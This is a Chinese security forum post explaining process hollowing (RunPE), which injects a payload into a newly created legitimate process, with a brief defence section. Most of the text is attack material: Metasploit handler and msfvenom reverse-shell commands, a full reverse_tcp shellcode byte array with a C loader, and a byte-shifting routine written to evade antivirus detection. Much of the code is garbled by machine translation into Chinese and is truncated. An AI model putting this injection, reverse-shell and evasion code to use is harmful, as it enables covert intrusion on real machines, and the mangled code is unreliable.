XenoG 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 最近在安全动态推送中看到了一篇文章《RunPE: How to hide code behind a legit process》 ,介绍了将恶意代码注于已知进程的方法 文章发布于2015年6月,虽然作者未公布完整的实现代码,但介绍了实现思路 本文将结合自己的心得做进一步介绍,测试开源实现代码,介绍防御方法 文章地址: https://www.adlice.com/runpe-hide-code-behind-legit-process/ 0x01 简介 本文将要介绍以下内容: 实现原理 开源代码测试 优化思路 防御检测 0x02 实现原理 这个利用方法至少在2005以前就存在,国内常常把该方法称为"傀儡进程的创建" 实现思路: 通过创建流程创建进程,传入参数创建_暂停使进程挂起 通过NtUnmapViewOfSection清空新进程的内存数据 通过虚拟分配申请新的内存 通过WriteProcessMemory向内存写入有效载荷 通过SetThreadContext设置入口点 通过ResumeThread唤醒进程,执行有效载荷 在具体实现上,还需要考虑以下问题: 1、傀儡进程的选择 如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等) 所以这种利用方法只能通过创建新进程,传入参数创建_暂停使进程挂起,在进程执行前对其替换 2、清空新进程的内存数据 进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数NtUnmapViewOfSection卸载映像 函数NtUnmapViewOfSection需要从ntdll.dll获得,调用代码如下: FARPROC fpNtUnmapViewOfSection=GetProcAddress(hNTDLL,' NtUnmapViewOfSection '); _ NtUnmapViewOfSection NtUnmapViewOfSection=(_ NtUnmapViewOfSection)fpNtUnmapViewOfSection; DWORD dw result=NtUnmapViewOfSection(pProcessInfo-h process,pPEB-imagebase address); 注: NtUnmapViewOfSection还能用来结束进程 3、申请新的内存 使用虚拟分配函数时,可以将傀儡进程的ImageBaseAddress作为申请空间的首地址,这样可以避免考虑"重定位"的问题 4、写入payload 写入时,需要先比较有效载荷和傀儡进程的ImageBaseAddress之间的偏移,如果存在偏移,需要进行重定位(使用100 . reloc区段) 5、恢复环境 替换前后需要保证寄存器正常,所以仅需要修改进程的入口点(即EAX寄存器) 通过GetThreadContext获得所有寄存器的信息(保存在结构体_上下文中) _上下文的定义位于winnt.h,具体内容如下: typedef struct _CONTEXT { // //此标志中的标志值控制 //一个上下文记录。 // //如果上下文记录用作输入参数,则 //对于由标志控制的上下文记录的每个部分 //其值已设置,则假定 //上下文记录包含有效的上下文。如果上下文记录 //被用来修改线程上下文,那么只有它 //部分线程上下文将被修改。 // //如果上下文记录用作要捕获的输入输出参数 //线程的上下文,那么只有线程的那些部分 //返回设置标志对应的上下文。 // //上下文记录从不用作仅限外出参数。 // DWORD上下文标志 // //如果上下文_调试_寄存器为,则指定/返回此部分 //在上下文标志中设置。注意,上下文调试寄存器不是 //包含在上下文_完整中。 // 双字Dr0 双字Dr1 双字Dr2 DWORD Dr3 双字Dr6 DWORD Dr7 // //如果 //ContextFlags字包含标志上下文浮点型. // 浮动_保存_区域浮动 // //如果 //ContextFlags字包含标志上下文_段. // 德沃德塞格斯; DWORD SegFs 德沃德塞吉斯; 双字段 // //如果 //ContextFlags字包含标志上下文_整数. // DWORD Edi DWORD Esi DWORD Ebx DWORD Edx DWORD Ecx DWORD Eax // //如果 //ContextFlags字包含标志上下文控制. // DWORD Ebp DWORD Eip DWORD SegCs//必须清理 DWORD EFlags//必须清理 DWORD Esp DWORD SegSs // //如果上下文标志字,则指定/返回此部分 //包含标志上下文_扩展_寄存器. //格式和上下文是处理器特定的 // 字节扩展注册表[最大_支持_扩展]; }上下文; 将寄存器EAX的值设置为起始地址,代码如下: p context-Eax=(DWORD)pPEB-image基址pSourceHeaders-可选标头.AddressOfEntryPoint 接着利用SetThreadContext写入,修改入口点 通过ResumeThread唤醒进程,即可执行有效载荷 0x03 开源代码测试 实现傀儡进程的公开代码有很多,这里给出一个参考地址: http://code.google.com/p/process-hollowing/downloads/list 该工程的说明文档地址: http://www.autosectools.com/process-hollowing.pdf 测试如下图 如果需要查看内存数据,可以使用https://www.adlice.com/runpe-hide-code-behind-legit-process/中使用的工具:流程黑客 参照上图的输出数据,图像库为0x00B90000 查看新进程0x00B90000的数据,已经被成功替换为有效载荷 如下图 继续下面的测试,参照源代码,修改有效载荷为执行外壳代码格式的水表读数器 服务器: 使用漏洞利用/多重/处理程序 设置有效负载窗口/meterpreter/reverse_tcp 设置LHOST 192 设置LPORT 4444 剥削 客户端: MSF毒液-p视窗/米preter/reverse _ TCP LHOST=192。168 .81 .192 LPORT=4444-f c 或者 使用windows/shell/reverse_tcp 设置LHOST 192 生成-温度系数 选择第一阶段(281字节)即可 生成外壳代码后,HelloWorld工程实现执行外壳代码功能的源代码如下: #包括 int WINAPI WinMain(h instance h instance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { 无符号字符外壳代码1[]= \ xfc \ xe8 \ x82 \ x00 \ x00 \ x00 \ X60 \ x89 \ xe5 \ x31 \ xc0 \ x64 \ x8b \ x50 \ x30 ' \ x8b \ x52 \ x0c \ x8b \ x52 \ x14 \ x8b \ x72 \ x28 \ x0f \ xb7 \ x4a \ x26 \ x31 \ xff ' \ xac \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ xc1 \ xcf \ x0d \ x01 \ xc7 \ xe2 \ xf2 \ x52 ' \ x57 \ x8b \ x52 \ X10 \ x8b \ x4a \ x3c \ x8b \ x4c \ X11 \ x78 \ xe3 \ x48 \ x01 \ xd1 ' \ x51 \ x8b \ x59 \ x20 \ x01 \ xd3 \ x8b \ x49 \ x18 \ xe3 \ x3a \ x49 \ x8b \ x34 \ x8b ' \ x01 \ xd6 \ x31 \ xff \ xac \ xc1 \ xcf \ x0d \ x01 \ xc7 \ x38 \ xe0 \ x75 \ xf6 \ x03 ' \ x7d \ xf8 \ x3b \ x7d \ x24 \ x75 \ xe4 \ x58 \ x8b \ x58 \ x24 \ x01 \ xd3 \ x66 \ x8b ' \ x0c \ x4b \ x8b \ x58 \ x1c \ x01 \ xd3 \ x8b \ x04 \ x8b \ x01 \ xd0 \ x89 \ x44 \ x24 ' \ x24 \ x5b \ x5b \ x61 \ x59 \ x5a \ x51 \ xff \ xe0 \ x5f \ x5f \ x5a \ x8b \ x12 \ xeb ' \ x8d \ x5d \ x68 \ x33 \ x32 \ x00 \ x00 \ x68 \ x77 \ x73 \ x32 \ x5f \ x54 \ x68 \ x4c ' \ x77 \ x26 \ x07 \ xff \ xd5 \ xb8 \ x90 \ x01 \ x00 \ x00 \ x29 \ xc4 \ x54 \ x50 \ x68 ' \ x29 \ X80 \ x6b \ x00 \ xff \ xd5 \ x6a \ x0a \ x68 \ xc0 \ xa8 \ x51 \ xc0 \ x68 \ x02 ' \ x00 \ X11 \ x5c \ x89 \ xe6 \ x50 \ x50 \ x50 \ x40 \ x50 \ x40 \ x50 \ x68 \ xea ' \ x0f \ xdf \ xe0 \ xff \ xd5 \ x97 \ x6a \ X10 \ x56 \ x57 \ x68 \ x99 \ xa5 \ x74 \ x61 ' \ xff \ xd5 \ x85 \ xc0 \ x74 \ x0c \ xff \ x4e \ x08 \ x75 \ xec \ x68 \ xf0 \ xb5 \ xa2 ' \ x56 \ xff \ xd5 \ x6a \ x00 \ x6a \ x04 \ x56 \ x57 \ x68 \ x02 \ xd9 \ xc8 \ x5f \ xff ' \ xd5 \ x8b \ x36 \ x6a \ x40 \ x68 \ x00 \ X10 \ x00 \ x56 \ x6a \ x00 \ x68 \ x58 ' \ xa4 \ x53 \ xe5 \ xff \ xd5 \ x93 \ x53 \ x6a \ x00 \ x56 \ x53 \ x57 \ x68 \ x02 \ xd9 ' \ xc8 \ x5f \ xff \ xd5 \ x01 \ xc3 \ x29 \ xc6 \ x75 \ xee \ xc3 '; typedef void(_ _ stdcall * CODE)(); PVOID p=NULL if ((p=VirtualAlloc(NULL,sizeof(shellcode1),MEM _提交MEM保留,页面_执行_读写))==NULL) MessageBoxA(NULL,' error ',' VirtualAlloc ',MB _ OK); 如果(!(memcpy(p,外壳代码1、sizeof(外壳代码1))) MessageBoxA(NULL,' error ',' memcpy ',MB _ OK); CODE CODE=(CODE)p; code(); 返回0; } 执行ProcessHollowing.exe,加载HelloWorld.exe,弹回壳,如下图 由于使用了Meterpreter,HelloWorld.exe会被杀毒软件静态查杀,这里做一个简单的加解密即可绕过 对HelloWorld.exe逐字符作0x33加,源代码如下: #包括 char * source path=' c:\ \ 1 \ \ hello world。exe '; char * des path=' c:\ \ 1 \ \ test \ \ hello world . exe '; int _tmain(int argc,_TCHAR* argv[]) { HANDLE hFile=CreateFileA ( SoucePath, GENERIC_READ 0, 0, OPEN_ALWAYS 0, 0 ); if (hFile==INVALID_HANDLE_VALUE) { printf('打开文件错误\ n '); 返回0; } DWORD dwSize=GetFileSize(hFile,0); PBYTE pBuffer=新字节[dw size]; DWORD dwbytes read=0; ReadFile(hFile,pBuffer,dwSize,dwBytesRead,0); PBYTE pBuffer2=新字节[dwSize]; PBYTE pBuffer3=新字节[dwSize]; for(DWORD I=0;我 输出新的加密文件HelloWorld.exe不会被静态杀死。 在ProcessHollowing项目中添加一个解密操作,一个字符减去0x33个字符。关键代码如下: DWORD dwSize=GetFileSize(hFile,0); PBYTE pBuffer=新字节[dw size]; PBYTE pBuffer2=新字节[dwSize]; DWORD dwbytes read=0; ReadFile(hFile,pBuffer2,dwSize,dwBytesRead,0); for(DWORD I=0;我 至此,静杀的旁路完成。 注: 对于ProcessHollowing.exe的行为拦截的规避,本文就不做介绍了。 0x04 防御检测 这种傀儡流程的使用具有很强的欺骗性,因为正常流程是最初创建的。 例如,创建一个傀儡进程calc.exe,该进程的图标和描述是正常的calc.exe,数字签名也是正常的。 如下图 防御方法: 用杀毒软件拦截SetThreadContext函数。 参考原文中给出的建议,用RogueKiller比较本地和内存PE文件是否有区别。 RogueKiller下载地址: https://www.adlice.com/download/roguekiller/ 查看下图 0x05 小结 从技术研究的角度,介绍了“傀儡进程”的实现原理,测试了开源代码,给出了防御检测的方法。虽然是很老的技术,但是技术细节还是很值得掌握的。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子